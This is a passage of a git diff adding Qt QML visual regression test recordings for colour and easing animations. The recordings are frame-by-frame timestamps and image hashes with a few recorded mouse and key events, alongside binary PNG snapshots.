+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3424
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3440
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3456
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3472
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3488
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3504
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3520
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3536
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3552
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3568
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3584
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3600
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3616
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3632
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 67108864
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3648
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3664
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3680
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.0.png b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.0.png
new file mode 100644
index 00000000..2a79113d
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.1.png b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.1.png
new file mode 100644
index 00000000..ebd18023
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.2.png b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.2.png
new file mode 100644
index 00000000..9b8ecbbe
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.3.png b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.3.png
new file mode 100644
index 00000000..277cb9e5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.qml b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.qml
new file mode 100644
index 00000000..2b664d44
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/colorAnimation/data/colorAnimation-visual.qml
@@ -0,0 +1,951 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "colorAnimation-visual.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 48
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 64
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 80
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 96
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 112
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 128
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 144
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 160
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 176
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 192
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 208
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 224
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 240
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 256
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 272
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 288
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 304
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 320
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 336
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 352
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 368
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 384
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 400
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 416
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 432
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 448
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 464
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 480
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 496
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 512
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 93; y: 136
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 528
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 544
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 560
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 576
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 592
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 93; y: 136
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 608
+ hash: "acc736435c9f84aa82941ba561bc5dbc"
+ }
+ Frame {
+ msec: 624
+ hash: "e5bda0daf98288ce18db6ce06eda3ba0"
+ }
+ Frame {
+ msec: 640
+ hash: "d35008f75b8c992f80fb16ba7203649d"
+ }
+ Frame {
+ msec: 656
+ hash: "14f43e0784ddf42ea8550db88c501bf1"
+ }
+ Frame {
+ msec: 672
+ hash: "02276e158b5391480b1bdeaadf1fb903"
+ }
+ Frame {
+ msec: 688
+ hash: "35d9513eb97a2c482b7cd197de910934"
+ }
+ Frame {
+ msec: 704
+ hash: "faf0fd681e60bb2489099f5df772b6cd"
+ }
+ Frame {
+ msec: 720
+ hash: "a863d3e346f94785a3a392fdc91526eb"
+ }
+ Frame {
+ msec: 736
+ hash: "fdf328d3f6eb8410da59a91345e41a44"
+ }
+ Frame {
+ msec: 752
+ hash: "83514a3b10d5be8f6c3b128d0f3e0b1c"
+ }
+ Frame {
+ msec: 768
+ hash: "ead0eae76cd00189075964671effbaea"
+ }
+ Frame {
+ msec: 784
+ hash: "24d2457fcd51490fda23071bf9929d12"
+ }
+ Frame {
+ msec: 800
+ hash: "1478683446cf543dacbe31d0b76a98a6"
+ }
+ Frame {
+ msec: 816
+ hash: "99f7da1f31fe920f6c02add4042ae925"
+ }
+ Frame {
+ msec: 832
+ hash: "22def892006cf66667770b0f17baf6c0"
+ }
+ Frame {
+ msec: 848
+ hash: "6a36d5a77099bfd58baf285478ff04e4"
+ }
+ Frame {
+ msec: 864
+ hash: "6258150666b59b20ab476724c07fc20c"
+ }
+ Frame {
+ msec: 880
+ hash: "f1636315bc950a6dd400d9c7ed263b88"
+ }
+ Frame {
+ msec: 896
+ hash: "18447ea8dc2e8da956788e5b3cf3790a"
+ }
+ Frame {
+ msec: 912
+ hash: "1d2a6e65997a73e9e670356c8e8b63b2"
+ }
+ Frame {
+ msec: 928
+ hash: "bed0242c0f9ef229d1392835286d5782"
+ }
+ Frame {
+ msec: 944
+ hash: "88923c190e9e5beadef8a409c06df9d6"
+ }
+ Frame {
+ msec: 960
+ hash: "2d133e7ee60c97386f57838b3f0976c7"
+ }
+ Frame {
+ msec: 976
+ image: "colorAnimation-visual.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "395195716d76bc0be7b2033ed37a7a1c"
+ }
+ Frame {
+ msec: 1008
+ hash: "e0f53c5605116a30d9bf3c031c63d958"
+ }
+ Frame {
+ msec: 1024
+ hash: "a755068679616d8ac65c2aa7431f2a19"
+ }
+ Frame {
+ msec: 1040
+ hash: "e8249b35a47eb492cbdf2d91cc8426f0"
+ }
+ Frame {
+ msec: 1056
+ hash: "15f3da1c0e6f0779b96859d51171dd27"
+ }
+ Frame {
+ msec: 1072
+ hash: "258c0c756aac3de743b43051f2aace6b"
+ }
+ Frame {
+ msec: 1088
+ hash: "a58b9fdf301d72b2cc5c93934cc8927b"
+ }
+ Frame {
+ msec: 1104
+ hash: "a9181d30870d472521f8904818ce520f"
+ }
+ Frame {
+ msec: 1120
+ hash: "7f9e94069ccf3897c26a71bd7becd903"
+ }
+ Frame {
+ msec: 1136
+ hash: "bdf305c2f46cdb86dbf57b1e0cc5a65b"
+ }
+ Frame {
+ msec: 1152
+ hash: "fe5b6865d7e4fc7d1d42c1e74f8666f7"
+ }
+ Frame {
+ msec: 1168
+ hash: "734f0de45a6e34c9eab7ef606196f96a"
+ }
+ Frame {
+ msec: 1184
+ hash: "02a361c4534fdf7f286dc3e6dc23275c"
+ }
+ Frame {
+ msec: 1200
+ hash: "e649155ad69999c14b92f6561e4d1185"
+ }
+ Frame {
+ msec: 1216
+ hash: "01af177084fab755d622973f64b92018"
+ }
+ Frame {
+ msec: 1232
+ hash: "097cc4a082dfab995d213a3a73883c97"
+ }
+ Frame {
+ msec: 1248
+ hash: "d7b4239a3280b1eb8e885e3f422df8e9"
+ }
+ Frame {
+ msec: 1264
+ hash: "59893977994e34e83f91e7ce3ad65d6d"
+ }
+ Frame {
+ msec: 1280
+ hash: "b68e3fbb5cdcd6bd96df7dec558db42b"
+ }
+ Frame {
+ msec: 1296
+ hash: "94ad0580648f36a1e18a9ea7e249b04d"
+ }
+ Frame {
+ msec: 1312
+ hash: "750a4c01d2f5806a89a1c6cc6a9b9a68"
+ }
+ Frame {
+ msec: 1328
+ hash: "4f109f50f388f1bfa4bc6b03b3e6e514"
+ }
+ Frame {
+ msec: 1344
+ hash: "c6168d5cf27a533e8ee636637667be47"
+ }
+ Frame {
+ msec: 1360
+ hash: "f8120547bed987aa34c00da5a01a4d1e"
+ }
+ Frame {
+ msec: 1376
+ hash: "cbff526136fa2c128c8b898fbbef9e5c"
+ }
+ Frame {
+ msec: 1392
+ hash: "f29e52398fab1a239a63df4c32f2fc69"
+ }
+ Frame {
+ msec: 1408
+ hash: "45770fe0d61c485c13992d0f98b2a3ba"
+ }
+ Frame {
+ msec: 1424
+ hash: "ca83285bc8ac633403896fe976896eb0"
+ }
+ Frame {
+ msec: 1440
+ hash: "96ba486c09cc69d5aa38c46c00df1181"
+ }
+ Frame {
+ msec: 1456
+ hash: "b88eab335842787869f4a14824c19dd8"
+ }
+ Frame {
+ msec: 1472
+ hash: "065aa59012729e1e1a246a2083142690"
+ }
+ Frame {
+ msec: 1488
+ hash: "dd0e98c8398861002c5f178c5f9f612d"
+ }
+ Frame {
+ msec: 1504
+ hash: "04192c2b545948048eccf4d81bbde198"
+ }
+ Frame {
+ msec: 1520
+ hash: "bb7502c7208281ef9fd41714ab88a1a8"
+ }
+ Frame {
+ msec: 1536
+ hash: "5397195471890d08b703dca101e5bc7c"
+ }
+ Frame {
+ msec: 1552
+ hash: "4c678cdbebb2ffd2cbf012ca77800cde"
+ }
+ Frame {
+ msec: 1568
+ hash: "0d7a34ecd0c7f52b2c015037bf1902c6"
+ }
+ Frame {
+ msec: 1584
+ hash: "fd9d5048be749ac4369fda2d018b43ae"
+ }
+ Frame {
+ msec: 1600
+ hash: "93ee03795cd57ae6f7fe3a020b039ad4"
+ }
+ Frame {
+ msec: 1616
+ hash: "5e1118963f219c39761ca7fbf564a9ca"
+ }
+ Frame {
+ msec: 1632
+ hash: "8f40038741903150136170503649d941"
+ }
+ Frame {
+ msec: 1648
+ hash: "b087b7d0aa6224821f8e18718ff5e77d"
+ }
+ Frame {
+ msec: 1664
+ hash: "aa46b04a3c67dc772265ed2901955565"
+ }
+ Frame {
+ msec: 1680
+ hash: "ac024bf2aeb4becdf31a09fe0a6db8f3"
+ }
+ Frame {
+ msec: 1696
+ hash: "13745a174e4d06e2108a5bf125ba50cc"
+ }
+ Frame {
+ msec: 1712
+ hash: "bd972f0d8e230eca0b3fea1b8c960c08"
+ }
+ Frame {
+ msec: 1728
+ hash: "cbdbec802a58e7ced0cf45b3ab0bc0ba"
+ }
+ Frame {
+ msec: 1744
+ hash: "5128584c50305c7d218b81b8367fa3d5"
+ }
+ Frame {
+ msec: 1760
+ hash: "a71461d3593f3685620668916de870bd"
+ }
+ Frame {
+ msec: 1776
+ hash: "74ebac8f32cf044b58d9883dbcd9a722"
+ }
+ Frame {
+ msec: 1792
+ hash: "fedc5b638f339b90fe59b478721e65b7"
+ }
+ Frame {
+ msec: 1808
+ hash: "a2fa71b4147372175774250501b6625e"
+ }
+ Frame {
+ msec: 1824
+ hash: "4e9b083075bc5e9287a8abc982778b56"
+ }
+ Frame {
+ msec: 1840
+ hash: "1d6f02aa99afa47d77fc49ab894b365a"
+ }
+ Frame {
+ msec: 1856
+ hash: "a204feec783b3b05de4c209c21745826"
+ }
+ Frame {
+ msec: 1872
+ hash: "665a2a8ff00b9663157802767f504754"
+ }
+ Frame {
+ msec: 1888
+ hash: "624fb09ebe60cb87d767faf8d2420b1e"
+ }
+ Frame {
+ msec: 1904
+ hash: "e5af0cdc33f3275a25abb09e9165f310"
+ }
+ Frame {
+ msec: 1920
+ hash: "02bafb5a81ca66f7670ac93de5123860"
+ }
+ Frame {
+ msec: 1936
+ image: "colorAnimation-visual.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "b5abd0dff1ab076faac7cc226e83f5d0"
+ }
+ Frame {
+ msec: 1968
+ hash: "b759acc35bccff8efc2e6fe276ddc0f7"
+ }
+ Frame {
+ msec: 1984
+ hash: "ce52e18c1f7732768779863b45314ff5"
+ }
+ Frame {
+ msec: 2000
+ hash: "99d30652559dd6931e0c95543eeaa149"
+ }
+ Frame {
+ msec: 2016
+ hash: "ffbd9a00e05e085b89296d19d5caec57"
+ }
+ Frame {
+ msec: 2032
+ hash: "9c9d658b9c25602816b8066bf19105db"
+ }
+ Frame {
+ msec: 2048
+ hash: "2b7fd058e6601e22a30bb7106b1c683b"
+ }
+ Frame {
+ msec: 2064
+ hash: "f4c7e26b19ee0a3e7c9688685eb7bd05"
+ }
+ Frame {
+ msec: 2080
+ hash: "0dc6d593bceff56b7f81f2a49d37fefb"
+ }
+ Frame {
+ msec: 2096
+ hash: "9bfd7ad5091ccbdde43c593e133a7b10"
+ }
+ Frame {
+ msec: 2112
+ hash: "2703b617937914a90ea42ebf249d79ee"
+ }
+ Frame {
+ msec: 2128
+ hash: "b77e2983138254016c4cca53100f46fa"
+ }
+ Frame {
+ msec: 2144
+ hash: "60c4dd24187d1281081479e586f02b37"
+ }
+ Frame {
+ msec: 2160
+ hash: "62f2511abd99ef1231c9fa4b91d4abfe"
+ }
+ Frame {
+ msec: 2176
+ hash: "e309b3353fd174e883d309571caddc98"
+ }
+ Frame {
+ msec: 2192
+ hash: "1e2d6a134c7b12dde551b148ef4f088c"
+ }
+ Frame {
+ msec: 2208
+ hash: "10d46d2862e333e5136b1c046dabb33b"
+ }
+ Frame {
+ msec: 2224
+ hash: "c8dae97c10e1962c1e6a51ab3ab8579e"
+ }
+ Frame {
+ msec: 2240
+ hash: "4e1b7e06f55fb084080689b474f1fe1d"
+ }
+ Frame {
+ msec: 2256
+ hash: "b4639c907fa937bf15fac62421170cd8"
+ }
+ Frame {
+ msec: 2272
+ hash: "c250208a0caeb5f6cb4d3aac3d7d350b"
+ }
+ Frame {
+ msec: 2288
+ hash: "a73351eabecf0d71149efe31f197413e"
+ }
+ Frame {
+ msec: 2304
+ hash: "479425f1b7aff79e4dfb7fca534af018"
+ }
+ Frame {
+ msec: 2320
+ hash: "046d0f0040a52d1f26ba9f7c5de06ef4"
+ }
+ Frame {
+ msec: 2336
+ hash: "655778bf13c6080903150b0eb43a7edc"
+ }
+ Frame {
+ msec: 2352
+ hash: "72da0bbe81514870655fdd3354adac60"
+ }
+ Frame {
+ msec: 2368
+ hash: "defe0bdf675c65fff55aaaced1e4dae7"
+ }
+ Frame {
+ msec: 2384
+ hash: "c988628b6c3d3780e9a865c7694926cd"
+ }
+ Frame {
+ msec: 2400
+ hash: "5ab17563655231089edd986ff13d6012"
+ }
+ Frame {
+ msec: 2416
+ hash: "c1adff1d2e5800ed466d1691d3b17382"
+ }
+ Frame {
+ msec: 2432
+ hash: "70129ba01fbb19592b9dc0d0a3b3e7df"
+ }
+ Frame {
+ msec: 2448
+ hash: "0000829ef7ed908bf430d42904d59cc2"
+ }
+ Frame {
+ msec: 2464
+ hash: "843d2927f50ab87b4a86b7a6aaeed91f"
+ }
+ Frame {
+ msec: 2480
+ hash: "da86d21756025e7de8050586d5e2a1f8"
+ }
+ Frame {
+ msec: 2496
+ hash: "48dd1bd6580133b0793fee327ea4f1e6"
+ }
+ Frame {
+ msec: 2512
+ hash: "f0618193dcd0ba2837249515a1898b1c"
+ }
+ Frame {
+ msec: 2528
+ hash: "a530184e57251065286c0cbba7301e9c"
+ }
+ Frame {
+ msec: 2544
+ hash: "64a1d7203973d65dd342793007a61c58"
+ }
+ Frame {
+ msec: 2560
+ hash: "5b830dfc6ba442772de87d75d5a578de"
+ }
+ Frame {
+ msec: 2576
+ hash: "5563b056b0409b65f60dd16dd0dd890e"
+ }
+ Frame {
+ msec: 2592
+ hash: "b8bcf9ad2ca8720c11563a23d8280804"
+ }
+ Frame {
+ msec: 2608
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2624
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2640
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2656
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2672
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2688
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2704
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2720
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2736
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2752
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2768
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2784
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2800
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2816
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2832
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2848
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2864
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2880
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2896
+ image: "colorAnimation-visual.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2928
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2944
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2960
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2976
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 2992
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3008
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3024
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3040
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3056
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3072
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3088
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3104
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3120
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3136
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3152
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3168
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3184
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3200
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3216
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3232
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3248
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3264
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3280
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3296
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3312
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3328
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3344
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3360
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3376
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3392
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3408
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3424
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3440
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3456
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3472
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3488
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3504
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3520
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3536
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3552
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3568
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3584
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3600
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3616
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3632
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Key {
+ type: 6
+ key: 16777249
+ modifiers: 0
+ text: ""
+ autorep: false
+ count: 1
+ }
+ Frame {
+ msec: 3648
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3664
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+ Frame {
+ msec: 3680
+ hash: "8c0fcda4f8956394c53fc4ba18caa850"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/animation/easing/data/easing.0.png b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.0.png
new file mode 100644
index 00000000..81edfff9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/easing/data/easing.1.png b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.1.png
new file mode 100644
index 00000000..ebac47f6
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/easing/data/easing.2.png b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.2.png
new file mode 100644
index 00000000..e1200bb1
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/easing/data/easing.3.png b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.3.png
new file mode 100644
index 00000000..81edfff9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/animation/easing/data/easing.qml b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.qml
new file mode 100644
index 00000000..597c3a6b
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/animation/easing/data/easing.qml
@@ -0,0 +1,863 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "easing.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 48
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 64
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 80
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 96
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 112
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 128
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 144
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 160
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 176
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 192
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 208
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 224
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 240
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 256
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 272
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 288
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 304
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 320
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 336
+ hash: "4f12d90df04192e3f28026249015fa41"
+ }
+ Frame {
+ msec: 352
